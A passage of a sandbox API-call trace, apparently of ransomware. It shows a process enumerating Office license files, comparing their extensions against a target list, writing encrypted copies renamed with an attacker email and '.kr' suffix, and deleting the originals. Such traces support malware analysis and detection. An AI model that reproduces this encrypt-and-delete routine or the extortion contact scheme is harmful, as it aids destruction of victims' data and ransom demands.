Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.603] lstrlenW (lpString=".dbf") returned 4 [0204.603] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.603] lstrlenW (lpString=".1cd") returned 4 [0204.603] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.603] lstrlenW (lpString=".jpg") returned 4 [0204.603] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.603] lstrlenW (lpString=".doc") returned 4 [0204.603] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.603] lstrlenW (lpString=".docx") returned 5 [0204.604] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.604] lstrlenW (lpString=".pdf") returned 4 [0204.604] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.604] lstrlenW (lpString=".xls") returned 4 [0204.604] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.604] lstrlenW (lpString=".xlsx") returned 5 [0204.604] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.604] lstrlenW (lpString=".ppt") returned 4 [0204.604] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.604] lstrlenW (lpString=".zip") returned 4 [0204.604] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.604] lstrlenW (lpString=".rar") returned 4 [0204.604] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.604] lstrlenW (lpString=".bz2") returned 4 [0204.604] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.604] lstrlenW (lpString=".7z") returned 3 [0204.604] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.604] lstrlenW (lpString=".dbf") returned 4 [0204.604] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.604] lstrlenW (lpString=".1cd") returned 4 [0204.604] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86 [0204.604] lstrlenW (lpString=".jpg") returned 4 [0204.604] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.604] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.604] lstrlenW (lpString="O365ProPlusR_Subscription2-ppd.xrm-ms") returned 37 [0204.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.605] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=28261) returned 1 [0204.605] CloseHandle (hObject=0x3c4) returned 1 [0204.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 0x220 [0204.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.606] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.606] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0204.607] GetLastError () returned 0x0 [0204.607] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x6e65, lpOverlapped=0x0) returned 1 [0204.609] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x6e70, lpOverlapped=0x0) returned 1 [0204.610] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.610] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11e, lpOverlapped=0x0) returned 1 [0204.610] SetEndOfFile (hFile=0x538) returned 1 [0204.611] CloseHandle (hObject=0x538) returned 1 [0204.611] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.611] SetEndOfFile (hFile=0x3c4) returned 1 [0204.614] CloseHandle (hObject=0x3c4) returned 1 [0204.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 1 [0204.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.616] lstrlenW (lpString=".doc") returned 4 [0204.616] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.616] lstrlenW (lpString=".docx") returned 5 [0204.616] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.616] lstrlenW (lpString=".pdf") returned 4 [0204.616] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.616] lstrlenW (lpString=".xls") returned 4 [0204.616] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.616] lstrlenW (lpString=".xlsx") returned 5 [0204.616] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.616] lstrlenW (lpString=".ppt") returned 4 [0204.616] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.616] lstrlenW (lpString=".zip") returned 4 [0204.616] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString=".rar") returned 4 [0204.617] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString=".bz2") returned 4 [0204.617] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString=".7z") returned 3 [0204.617] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.617] lstrlenW (lpString=".dbf") returned 4 [0204.617] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.617] lstrlenW (lpString=".1cd") returned 4 [0204.617] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.617] lstrlenW (lpString=".jpg") returned 4 [0204.617] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.617] lstrlenW (lpString=".doc") returned 4 [0204.617] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString=".docx") returned 5 [0204.617] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.617] lstrlenW (lpString=".pdf") returned 4 [0204.617] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString=".xls") returned 4 [0204.617] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString=".xlsx") returned 5 [0204.617] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.617] lstrlenW (lpString=".ppt") returned 4 [0204.617] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.617] lstrlenW (lpString=".zip") returned 4 [0204.617] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.618] lstrlenW (lpString=".rar") returned 4 [0204.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.618] lstrlenW (lpString=".bz2") returned 4 [0204.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.618] lstrlenW (lpString=".7z") returned 3 [0204.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.618] lstrlenW (lpString=".dbf") returned 4 [0204.618] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.618] lstrlenW (lpString=".1cd") returned 4 [0204.618] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.618] lstrlenW (lpString=".jpg") returned 4 [0204.618] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.618] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.618] lstrlenW (lpString="O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 40 [0204.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.620] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11646) returned 1 [0204.620] CloseHandle (hObject=0x3c4) returned 1 [0204.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0204.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.621] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.621] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0204.622] GetLastError () returned 0x0 [0204.622] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0204.963] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0204.965] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.965] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x124, lpOverlapped=0x0) returned 1 [0204.965] SetEndOfFile (hFile=0x538) returned 1 [0204.965] CloseHandle (hObject=0x538) returned 1 [0204.965] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.965] SetEndOfFile (hFile=0x3c4) returned 1 [0205.163] CloseHandle (hObject=0x3c4) returned 1 [0205.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 1 [0205.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.164] lstrlenW (lpString=".doc") returned 4 [0205.164] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.164] lstrlenW (lpString=".docx") returned 5 [0205.164] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.164] lstrlenW (lpString=".pdf") returned 4 [0205.164] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.164] lstrlenW (lpString=".xls") returned 4 [0205.164] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.164] lstrlenW (lpString=".xlsx") returned 5 [0205.165] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.165] lstrlenW (lpString=".ppt") returned 4 [0205.165] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.165] lstrlenW (lpString=".zip") returned 4 [0205.165] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString=".rar") returned 4 [0205.165] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString=".bz2") returned 4 [0205.165] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString=".7z") returned 3 [0205.165] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.165] lstrlenW (lpString=".dbf") returned 4 [0205.165] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.165] lstrlenW (lpString=".1cd") returned 4 [0205.165] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.165] lstrlenW (lpString=".jpg") returned 4 [0205.165] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.165] lstrlenW (lpString=".doc") returned 4 [0205.165] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString=".docx") returned 5 [0205.165] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.165] lstrlenW (lpString=".pdf") returned 4 [0205.165] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString=".xls") returned 4 [0205.165] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.165] lstrlenW (lpString=".xlsx") returned 5 [0205.165] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.166] lstrlenW (lpString=".ppt") returned 4 [0205.166] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.166] lstrlenW (lpString=".zip") returned 4 [0205.166] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.166] lstrlenW (lpString=".rar") returned 4 [0205.166] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.166] lstrlenW (lpString=".bz2") returned 4 [0205.166] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.166] lstrlenW (lpString=".7z") returned 3 [0205.166] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.166] lstrlenW (lpString=".dbf") returned 4 [0205.166] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.166] lstrlenW (lpString=".1cd") returned 4 [0205.166] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0205.166] lstrlenW (lpString=".jpg") returned 4 [0205.166] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.166] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.166] lstrlenW (lpString="O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 40 [0205.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0205.167] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11646) returned 1 [0205.167] CloseHandle (hObject=0x3c4) returned 1 [0205.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 0x220 [0205.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0205.168] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.168] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0205.169] GetLastError () returned 0x0 [0205.169] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0205.310] WriteFile (in: hFile=0x378, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0205.312] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.312] WriteFile (in: hFile=0x378, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x124, lpOverlapped=0x0) returned 1 [0205.312] SetEndOfFile (hFile=0x378) returned 1 [0205.312] CloseHandle (hObject=0x378) returned 1 [0205.312] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.312] SetEndOfFile (hFile=0x3c4) returned 1 [0205.315] CloseHandle (hObject=0x3c4) returned 1 [0205.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0205.317] lstrlenW (lpString=".doc") returned 4 [0205.317] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.317] lstrlenW (lpString=".docx") returned 5 [0205.317] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.317] lstrlenW (lpString=".pdf") returned 4 [0205.317] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.317] lstrlenW (lpString=".xls") returned 4 [0205.317] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 